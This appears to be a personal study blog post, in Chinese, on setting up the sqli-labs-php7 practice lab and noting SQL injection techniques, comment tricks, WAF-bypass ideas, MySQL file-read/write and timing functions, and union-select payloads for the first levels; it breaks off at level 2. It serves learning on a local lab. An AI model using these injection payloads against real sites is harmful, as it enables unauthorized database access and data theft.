sqli-labs-php7环境搭建及通关记录
sqli-labs-php7环境搭建及通关记录
学了一个星期的sql注入,将学习过程记录在博客,以后可以查看。
学习视频来自b站的up主:crowsec
视频链接:https://space.bilibili.com/29903122
sqli-labs-php7链接:https://github.com/skyblueee/sqli-labs-php7.git
一. 环境搭建及常用工具
Linux环境搭建(我这里用的是kali linux):
1.启动mysql服务:sudo service mysql start
2.登录mysql:sudo mysql -uroot -p
输入密码进行登录
3.设置密码:set password for 'root'@'localhost' =password('xxx');
,然后输入:flush privileges;
回车
4.下载sqli-labs-php7:git clone https://github.com/skyblueee/sqli-labs-php7.git
5.将sqli-labs-php7移动到apache2的目录下并改名为sqli:sudo mv sqli-labs-php7 /var/www/html/sqli
6.修改sqli配置文件:vi /var/www/html/sqli/sql-connections/db-creds.inc
,将dbpass的值改为之前设置的mysql密码,保存退出
7.启动apache服务:sudo service apache2 start
8.访问127.0.0.1/sqli,点击set database后,如果没有出现报错就配置好了。
Windows环境搭建:
1.下载phpstudy(百度解决)
2.下载sqli-labs-php7.zip,然后解压到phpstudy安装目录下的www/html文件夹下
3.启动phpstudy的apache服务和mysql服务
4.修改db-creds.inc,将dbpass设置为mysql密码
5.访问127.0.0.1/sqli,点set database,如果没有报错就配置成功。
插件及工具 :
1.我使用的是firefox浏览器,到插件库里找到hackbar2并安装。
2.burpsuite,强大的工具,盲注可以用得到(功能及用法百度),或者自己写python脚本进行盲注
3.cookie editor,用于cookie注入。
二. sql语法记录、waf绕过方法、注入方法总结
判断包裹的方式:
1.单引号'
2.单引号+单括号')
3.单引号+单括号+单括号'))
4.双引号"
5.双引号+单括号")
6.双引号+单括号+单括号"))
7.无包裹
sql注释方式:
--+
用于url中
--空格
用于url中
;%00
应对于对输入有过滤的情况
/**/
用于提交大数据包,waf绕过
/*!1,2,3*/
mysql内联注释,只能用于mysql,waf绕过
#
用于POST表单中
或其他可用于替换的编码
注入方式总结:
1.联合注入
2.盲注
3.时间注入
4.上传和读取注入
5.GET注入
6.POST注入
7.二次注入
8.请求头注入(ua,referer,cookie)
9.基于报错注入
10.参数污染
11.宽字节注入
12.堆叠注入
waf绕过:
1.白盒绕过(从代码执行顺序绕过)
2.黑盒绕过(架构层面、资源限制角度、协议层面、规则层面)
3.fuzz绕过
sql注入常用到的函数:
database()
database()
显示当前使用的数据库
left()
left(database,1)='s'
判断当前数据库名前1位是否为s,布尔型`
right()
select right(database(),1);
同left,从右边开始
regexp
select user() regexp 'r'
user()的结果是root,regexp为匹配root的正则表达式
like
select user() like 'ro%'
匹配与regexp相似
substr(a,b,c)
substr('abc',2,1)
从2位置开始截取abc字符串1位的长度
ascii()
ascii('a')
将a转换为ascii值,为97
chr()或ord()
chr(97)
将ascii值转换为字符串
show variables like '%secure%';
查看secure-file-priv当前的值,布尔型,表示读取和写入文件的权限
load_file()
load_file('E:\\hello.txt')
读取本地的E:\hello.txt文件
into outfile
select 'hello' into outfile 'E:\\1.txt';
写入一个1.txt,内容是hello,文件位置在E:\
sleep()
sleep(5)
睡5秒
if(a,b,c)
if(1>2,3,4)
如果1>2成立,返回3,不成立则返回4
length()
length(database())
返回当前使用数据库名的长度
updatexml(a,b,c)
updatexml(str,xpath,str)
在第二个参数写入错误的xpath参数,会引起报错,来获得需要的数据
asc
select * from x order by 1 asc;
使用升序排列
desc
select * from x order by 1 desc;
使用降序排列
lines
lines terminated by xxx
以xxx为结尾
三. less1–less65通关方式
基础sql命令:
查库:
select schema_name from information_schema.schemata
查表:
select table_name from information_schema.schemata where table_schema='security'
查列名:
select column_name from information_schema.columns where table_name='users'
查字段:
select username,password from security.users
总结:主要都是围绕这几个语句进行查询
tips:
在学习阶段可以在sqli-labs代码中,加入以下,对sql语句进行判断,方便学习
echo $sql;
echo "<br>";
less-1:
1.在url结尾加入?id=1,此时查询到数据并回显
2.在id=1后加入',会发现sql语句进行报错,以此判断id=1后是由什么符号进行包裹
3.less-1是以'进行的包裹,在结尾使用注释符--+,再次执行,此时可以发现返回数据正常
4.总结:只要能知道是以什么符合对sql查询语句进行包裹,就可以在url中拼接sql语句进行执行
5.http://127.0.0.1/sqli/?id=1'order by 3 --+
http://127.0.0.1/sqli/?id=-1' union select 1,2,(查询语句)--+使用联合查询,重复此过程直到取出需要的数据。
less-2:
1.和less-1一样,但没有对id进行包裹,因此直接输入一个不存在的id值即可。
2.wp:http://